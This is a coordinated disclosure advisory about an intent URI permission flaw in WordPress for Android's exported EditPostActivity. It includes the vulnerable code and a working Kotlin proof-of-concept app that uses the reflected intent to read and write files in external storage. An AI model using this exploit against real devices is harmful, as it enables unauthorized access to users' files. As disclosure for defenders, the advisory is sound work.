Coordinated Disclosure Timeline

Summary

The WordPress for Android app has a security issue by which a malicious application installed on the same device can send it an arbitrary Intent that gets reflected back, unintentionally giving read and write access to non-exported Content Providers in WordPress for Android.

Product

WordPress for Android

Tested Version

20.1 (latest)

Details

Issue 1: Intent URI permission manipulation in EditPostActivity.java (GHSL-2022-046)

The activity EditPostActivity is exported, as it can be seen in the Android Manifest:

AndroidManifest.xml:242

<activity
    android:name=".ui.posts.EditPostActivity"
    android:theme="@style/WordPress.NoActionBar"
    android:windowSoftInputMode="stateHidden|adjustResize"
    android:exported="true">
    <meta-data
        android:name="android.support.PARENT_ACTIVITY"
        android:value=".ui.posts.PostsListActivity" />

    <intent-filter>
        <action android:name="android.intent.action.MAIN" />
    </intent-filter>
</activity>

In its saveResult method, this activity obtains the incoming Intent and returns it back to the calling application using setResult:

EditPostActivity.java:2011

private void saveResult(boolean saved, boolean uploadNotStarted) {
    Intent i = getIntent();
    i.putExtra(EXTRA_UPLOAD_NOT_STARTED, uploadNotStarted);
    i.putExtra(EXTRA_HAS_FAILED_MEDIA, hasFailedMedia());
    i.putExtra(EXTRA_IS_PAGE, mIsPage);
    i.putExtra(EXTRA_IS_LANDING_EDITOR, mIsLandingEditor);
    i.putExtra(EXTRA_HAS_CHANGES, saved);
    i.putExtra(EXTRA_POST_LOCAL_ID, mEditPostRepository.getId());
    i.putExtra(EXTRA_POST_REMOTE_ID, mEditPostRepository.getRemotePostId());
    i.putExtra(EXTRA_RESTART_EDITOR, mRestartEditorOption.name());
    i.putExtra(STATE_KEY_EDITOR_SESSION_DATA, mPostEditorAnalyticsSession);
    i.putExtra(EXTRA_IS_NEW_POST, mIsNewPost);
    setResult(RESULT_OK, i);
}

saveResult is called whenever a post is finished (saved online, saved locally, or cancelled):

EditPostActivity.java:891

mViewModel.getOnFinish().observe(this, finishEvent -> finishEvent.applyIfNotHandled(activityFinishState -> {
    switch (activityFinishState) {
        case SAVED_ONLINE:
            saveResult(true, false);
            break;
        case SAVED_LOCALLY:
            saveResult(true, true);
            break;
        case CANCELLED:
            saveResult(false, true);
            break;
    }
    removePostOpenInEditorStickyEvent();
    mEditorMedia.definitelyDeleteBackspaceDeletedMediaItemsAsync();
    finish();
    return null;
}));

Because of this, any application that uses startActivityForResult to start EditPostActivity with an arbitrary Intent will receive it back once the user exits the suddenly opened activity.

An attacker can exploit this by including the flags FLAG_GRANT_URI_READ_PERMISSION and/or FLAG_GRANT_URI_WRITE_PERMISSION in the Intent, which once reflected back by WordPress for Android will provide the attacker access to any of its Content Providers that has the attribute android:grantUriPermissions="true", even if it is not exported.

WordPress for Android declares the FileProvider Content Provider in its Android Manifest that satisfy the grantUriPermissions requirement:

AndroidManifest.xml:1024

<provider
    android:name="androidx.core.content.FileProvider"
    android:authorities="${applicationId}.provider"
    android:exported="false"
    android:grantUriPermissions="true">
    <meta-data
        android:name="android.support.FILE_PROVIDER_PATHS"
        android:resource="@xml/provider_paths"/>
</provider>

The files it gives access to are defined in provider_paths:

<?xml version="1.0" encoding="utf-8"?>
<paths xmlns:android="http://schemas.android.com/apk/res/android">
    <external-path
        name="external_files"
        path="."/>
</paths>

With this information, an attacker can create an Intent targeted to EditPostActivity with the appropriate flags and the data URI content://org.wordpress.android.prealpha.provider/external_files/ to access the external storage using WordPress for Android as a proxy without needing to request the external storage permissions.

See the Resources section for a proof of concept exploiting this vulnerability.

Impact

This issue may lead to Privilege Escalation: a malicious application can use WordPress for Android as a proxy to access the device’s external storage without needing to request the appropriate permission to do so.

Resources

The following PoC demonstrates how a malicious application with no special permissions could read and write from the external storage in behalf of WordPress for Android exploiting the issue mentioned above:

class IntentUriManipulationPoc : Activity() {

    fun exploitWordpressProvider() {
        val i = Intent()
        i.setClassName("org.wordpress.android.prealpha", "org.wordpress.android.ui.posts.EditPostActivity")
        i.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION or Intent.FLAG_GRANT_WRITE_URI_PERMISSION)

        // Setting necessary extras so that the application doesn't crash
        val s = SiteModel()
        s.xmlRpcUrl = "http://127.0.0.1:8080/xmlrpc.php"
        s.url = "http://127.0.0.1:8080"
        i.putExtra("SITE", s)
        i.putExtra("isLandingEditor", false)

        i.data =
            Uri.parse("content://org.wordpress.android.prealpha.provider/external_files/Documents/test.txt")
        startActivityForResult(i, 0)
    }

    override fun onActivityResult(requestCode: Int, resultCode: Int, data: Intent?) {
        super.onActivityResult(requestCode, resultCode, data)
        try {
            val outputStream = contentResolver.openOutputStream(data?.data!!)
            outputStream?.write("pwned".toByteArray())
            Log.e("evil", "Written!")
            val inputStream = contentResolver.openInputStream(data.data!!)
            Log.e("evil", "Contents of ${data.data!!}: ${String(inputStream!!.readBytes())}")
        } catch (e: Exception) {
            Log.e("evil", e.toString())
        }
    }
}

Note that, to be able to use SiteModel class in the attacking app, the org.wordpress:fluxc dependency needs to be added to build.gradle, as well as the appropriate repository:

dependencies {
    // --snip--
    implementation("org.wordpress:fluxc") {
        version {
            strictly "trunk-be807d3717b0b0b9b4c812a65026504096d5615e"
        }
        exclude group: "com.android.volley"
        exclude group: 'org.wordpress', module: 'utils'
        exclude group: 'com.android.support', module: 'support-annotations'
    }
}

repositories {
    maven {
        url "https://a8c-libs.s3.amazonaws.com/android"
        content {
            includeGroup "org.wordpress"
            includeGroup "org.wordpress.aztec"
            includeGroup "org.wordpress.fluxc"
            includeGroup "org.wordpress.wellsql"
            includeGroup "org.wordpress-mobile"
            includeGroup "org.wordpress-mobile.gutenberg-mobile"
            includeGroup "com.automattic"
            includeGroup "com.automattic.stories"
            includeGroup "com.automattic.tracks"
        }
    }
}

Resources

Credit

This issue was discovered and reported by the CodeQL team member @atorralba (Tony Torralba).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2022-046 in any communication regarding this issue.